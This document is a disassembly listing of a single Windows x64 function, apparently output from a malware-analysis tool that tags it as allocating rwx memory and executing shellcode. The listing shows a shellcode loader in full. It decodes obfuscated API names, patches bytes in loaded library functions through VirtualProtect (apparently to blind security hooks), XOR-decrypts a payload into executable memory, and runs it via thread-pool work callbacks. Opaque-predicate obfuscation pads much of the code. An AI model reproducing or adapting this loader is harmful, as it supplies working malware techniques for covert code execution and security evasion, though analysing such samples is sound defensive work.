Function at 0x140001f00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
sub rsp, 0x108
mov rax, qword [0x140018038]
xor rax, rsp
mov qword [rsp + 0x100], rax
mov qword [rsp + 0xc0], r8
mov dword [rsp + 0xbc], edx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xa8], 0
lea rcx, [0x1400138e2]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.TpAllocWork
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
lea rcx, [0x1400138e2]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.TpPostWork
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x88], rax
lea rcx, [0x1400138e2]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.TpReleaseWork
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0xbc]
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x78]
mov edx, 0xf003f
xor r9d, r9d
xor eax, eax
mov r8d, r9d
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0xd8], 0
mov dword [rsp + 0x74], 0x83
mov rax, qword [section..rdata]
mov qword [rsp + 0xf1], rax
mov eax, dword [0x14000f008]
mov dword [rsp + 0xf9], eax
mov ax, word [0x14000f00c]
mov word [rsp + 0xfd], ax
mov al, byte [0x14000f00e]
mov byte [rsp + 0xff], al
lea rcx, [rsp + 0xf1]
mov edx, 0xf
lea r8, [0x140018010]
mov r9d, 0x1b
call fcn.140001350
lea rcx, [0x14001800a]
mov edx, 5
lea r8, [0x140018010]
mov r9d, 0x1b
call fcn.140001350
mov eax, dword [0x14000f00f]
mov dword [rsp + 0xde], eax
mov ax, word [0x14000f013]
mov word [rsp + 0xe2], ax
lea rax, [rsp + 0xf1]
mov qword [rsp + 0x48], rax
lea rcx, [0x14001800a]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x68]
mov edx, 1
mov r8d, 0x40
lea r9, [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x68]
mov ecx, dword [rsp + 0xde]
mov dword [rax], ecx
mov cx, word [rsp + 0xe2]
mov word [rax + 4], cx
mov r8d, dword [rsp + 0xd8]
mov rcx, qword [rsp + 0x68]
mov edx, 1
lea r9, [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x14000f015]
mov qword [rsp + 0xe4], rax
mov eax, dword [0x14000f01d]
mov dword [rsp + 0xec], eax
mov al, byte [0x14000f021]
mov byte [rsp + 0xf0], al
lea rcx, [rsp + 0xe4]
mov edx, 0xd
lea r8, [0x140018010]
mov r9d, 0x1b
call fcn.140001350
lea rcx, section..data
mov edx, 0xa
lea r8, [0x140018010]
mov r9d, 0x1b
call fcn.140001350
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x50], rax
lea rcx, section..data
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
mov edx, 1
mov r8d, 0x40
lea r9, [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x60]
mov cl, byte [0x1400138e0]
mov byte [rax], cl
mov r8d, dword [rsp + 0xd8]
mov rcx, qword [rsp + 0x60]
mov edx, 1
lea r9, [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0x5c], eax
mov ecx, dword [0x140018a70]
mov eax, dword [0x140018a74]
mov edx, ecx
add edx, 0x35cd232e
sub edx, 1
sub edx, 0x35cd232e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140002299
jmp 0x14000264e
cmp dword [rsp + 0x5c], 0
sete al
mov byte [rsp + 0x47], al
mov ecx, dword [0x140018a70]
mov eax, dword [0x140018a74]
mov edx, ecx
add edx, 0x6a37bb45
sub edx, 1
sub edx, 0x6a37bb45
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000231c
jmp 0x14000264e
mov al, byte [rsp + 0x47]
test al, 1
jne 0x14000232d
jmp 0x1400023b0
mov ecx, dword [0x140018a70]
mov eax, dword [0x140018a74]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000236c
jmp 0x140002653
mov ecx, dword [0x140018a70]
mov eax, dword [0x140018a74]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400023ab
jmp 0x140002653
jmp 0x1400024ee
mov ecx, dword [0x140018a70]
mov eax, dword [0x140018a74]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140002422
jmp 0x140002658
mov eax, dword [rsp + 0x5c]
xor ecx, ecx
sub ecx, 0xffffffff
sub eax, ecx
mov dword [rsp + 0x5c], eax
mov rax, qword [rsp + 0xb0]
movsxd rcx, dword [rsp + 0x5c]
movsx r8d, byte [rax + rcx]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x5c]
mov ecx, 0x80
cdq
idiv ecx
mov rax, qword [rsp + 0x38]
movsxd rcx, edx
movsx edx, byte [rax + rcx]
mov eax, r8d
xor eax, 0xffffffff
and eax, 0xf4ad3fd5
mov r9d, 0xffffffff
xor r9d, 0xf4ad3fd5
and r8d, r9d
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xf4ad3fd5
and edx, r9d
or eax, r8d
or ecx, edx
xor eax, ecx
mov dl, al
mov rax, qword [rsp + 0xa8]
movsxd rcx, dword [rsp + 0x5c]
mov byte [rax + rcx], dl
mov ecx, dword [0x140018a70]
mov eax, dword [0x140018a74]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400024e9
jmp 0x140002658
jmp 0x140002222
mov ecx, dword [0x140018a70]
mov eax, dword [0x140018a74]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140002560
jmp 0x1400026ed
mov rcx, qword [rsp + 0xa8]
call fcn.140001900
movsxd rdx, dword [rsp + 0xbc]
mov rcx, qword [rsp + 0xa8]
mov r8d, 0x20
lea r9, [rsp + 0xd4]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0xc8], 0
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0xc8]
xor r8d, r8d
mov r9d, r8d
mov r8, r9
call rax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xc8]
call rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc8]
call rax
mov rcx, 0xffffffffffffffff
mov edx, 0x1000
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x140018a70]
mov eax, dword [0x140018a74]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140002635
jmp 0x1400026ed
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.140002810
nop
add rsp, 0x108
ret
jmp 0x140002299
jmp 0x14000236c
mov eax, dword [rsp + 0x5c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xffffffff
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [rsp + 0x5c], eax
mov rax, qword [rsp + 0xb0]
movsxd rcx, dword [rsp + 0x5c]
movsx r8d, byte [rax + rcx]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x5c]
mov ecx, 0x80
cdq
idiv ecx
mov rax, qword [rsp + 0x30]
movsxd rcx, edx
movsx edx, byte [rax + rcx]
mov eax, r8d
xor eax, 0xffffffff
and eax, 0xb4182ce5
mov r9d, 0xffffffff
xor r9d, 0xb4182ce5
and r8d, r9d
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xb4182ce5
and edx, r9d
or eax, r8d
or ecx, edx
xor eax, ecx
mov dl, al
mov rax, qword [rsp + 0xa8]
movsxd rcx, dword [rsp + 0x5c]
mov byte [rax + rcx], dl
jmp 0x140002422
mov rcx, qword [rsp + 0xa8]
call fcn.140001900
movsxd rdx, dword [rsp + 0xbc]
mov rcx, qword [rsp + 0xa8]
mov r8d, 0x20
lea r9, [rsp + 0xd4]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0xc8], 0
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0xc8]
xor r8d, r8d
mov r9d, r8d
mov r8, r9
call rax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xc8]
call rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc8]
call rax
mov rcx, 0xffffffffffffffff
mov edx, 0x1000
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140002560